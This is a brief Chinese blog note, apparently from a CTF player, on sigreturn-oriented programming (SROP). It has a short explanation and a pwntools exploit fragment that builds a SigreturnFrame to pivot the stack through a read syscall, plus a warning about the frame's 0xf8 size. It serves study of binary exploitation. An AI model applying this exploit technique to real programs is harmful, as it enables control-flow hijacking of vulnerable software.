SROP


基础知识

简单讲

模拟sigreturn的过程;

sigFrame存在用户态;

利用系统调用触发sigreturn,然后配合在已经构造好的系统调用

exp

from pwn import *

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = new_stack
frame.rdx = 0x180
frame.rsp = new_stack
frame.rip = libc.symbols['syscall'] + 23
sla("Please input magic message: ", flat(frame)[8:])

sigreturn的系统调用号是:

注意点

sigFrame的长度是0xf8!!!rax在很靠后的位置!!!


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录